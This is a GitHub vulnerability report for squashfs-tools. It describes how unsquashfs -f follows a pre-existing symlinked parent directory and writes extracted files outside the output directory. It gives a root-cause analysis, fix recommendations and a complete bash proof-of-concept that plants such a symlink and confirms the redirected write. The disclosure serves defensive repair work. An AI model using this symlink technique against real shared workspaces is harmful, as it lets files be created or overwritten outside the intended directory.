Skip to content

squashfs-tools unsquashfs -f Follows Preexisting Parent Symlink Component During Extraction #363

@Nicholas-wei

Description

@Nicholas-wei

squashfs-tools unsquashfs -f Follows Preexisting Parent Symlink Component During Extraction, this may allow arbitrary file creation in sibling directories.

0. Environment

  • Target: unsquashfs (vulnerable extractor) and mksquashfs (PoC image generation)
  • Version: squashfs-tools commit f277118d (repo: squashfs-tools/)
  • Build (from repository root; disables optional compressors to reduce deps):
make -C squashfs-tools/squashfs-tools -j"$(nproc)" \
  unsquashfs mksquashfs XZ_SUPPORT= LZO_SUPPORT= LZ4_SUPPORT= ZSTD_SUPPORT=
  • Binaries: squashfs-tools/squashfs-tools/unsquashfs, squashfs-tools/squashfs-tools/mksquashfs (run PoC with UNSQUASHFS_BIN=... MKSQUASHFS_BIN=...)

1. Description

With -f, unsquashfs reuses existing destination path components without rejecting the case where an internal component already exists as a symlink.

If an attacker pre-creates a symlink inside the destination tree, later extraction of a normal file below that component is redirected through the symlink target.

Relevant code:

  • squashfs-tools/squashfs-tools/unsquashfs.c:2130dir_scan(...) creates directories with mkdir(...).
  • squashfs-tools/squashfs-tools/unsquashfs.c:2148 — on EEXIST with -f, it chmod(...)s the existing path instead of rejecting it.
  • squashfs-tools/squashfs-tools/unsquashfs.c:2177 — child paths are built with "%s/%s".
  • squashfs-tools/squashfs-tools/unsquashfs.c:1088 — regular files are created with open_wait(pathname, O_CREAT | O_WRONLY, ...).

2. Impact

An attacker who controls destination pre-state can redirect extracted files outside the intended output directory.

Practical impact includes:

  • arbitrary file creation in sibling directories;
  • clobbering files via a predictable extraction path in a shared workspace;
  • converting image extraction into a write gadget when -f is used.

3. Reason / Root Cause

The parser correctly rejects malformed SquashFS entry names containing /, . or .., but the extractor still trusts the host filesystem state for already-existing parent components.

When out/dir is a symlink to ../outside, extraction of the valid image path dir/pwn.txt writes to outside/pwn.txt.

4. Proof-of-Concept

4.1 PoC file

  • Runner: poc.sh

4.2 What the PoC does

The PoC:

  1. Builds a valid SquashFS image containing dir/pwn.txt.
  2. Pre-creates out/dir -> ../outside.
  3. Runs unsquashfs -f -d out.
  4. Verifies that outside/pwn.txt is created.

4.3 Expected result

Successful exploitation creates:

  • /tmp/unpfuzz_sqfs_inner/outside/pwn.txt

instead of keeping output under:

  • /tmp/unpfuzz_sqfs_inner/out/

5. Fix Recommendations

  1. Reject existing parent components that are symlinks, not only the final destination root.
  2. Use lstat() before reusing an existing component under -f.
  3. Perform path resolution relative to a trusted root directory descriptor.
  4. Add regression tests for internal preexisting symlink components, not only root-path symlinks.

6. Reproduction

From the repository root:

./poc.sh

Below is poc.sh

#!/usr/bin/env bash
set -euo pipefail

MKSQUASHFS_BIN=${MKSQUASHFS_BIN:-mksquashfs}
UNSQUASHFS_BIN=${UNSQUASHFS_BIN:-unsquashfs}

for bin in "$MKSQUASHFS_BIN" "$UNSQUASHFS_BIN"; do
  if [[ "$bin" == */* ]]; then
    if [[ ! -x "$bin" ]]; then
      echo "error: not executable: $bin" >&2
      exit 1
    fi
  else
    if ! command -v "$bin" >/dev/null 2>&1; then
      echo "error: $bin is required" >&2
      exit 1
    fi
  fi
done

base=/tmp/unpfuzz_sqfs_inner
rm -rf "$base"
mkdir -p "$base/src/dir" "$base/out" "$base/outside"
printf 'INNER\n' > "$base/src/dir/pwn.txt"

"$MKSQUASHFS_BIN" "$base/src" "$base/test.sqfs" -noappend -quiet >/dev/null
ln -s ../outside "$base/out/dir"

(cd "$base" && "$UNSQUASHFS_BIN" -f -d out -quiet test.sqfs >/dev/null)

if [[ ! -f "$base/outside/pwn.txt" ]]; then
  echo "[-] exploit failed: redirected file was not created" >&2
  find "$base" -maxdepth 3 -ls >&2
  exit 1
fi

echo "[+] extraction followed internal preexisting symlink component"
cat "$base/outside/pwn.txt"

Metadata

Metadata

Assignees

Labels

Projects

No projects

Relationships

None yet

Development

No branches or pull requests

Issue actions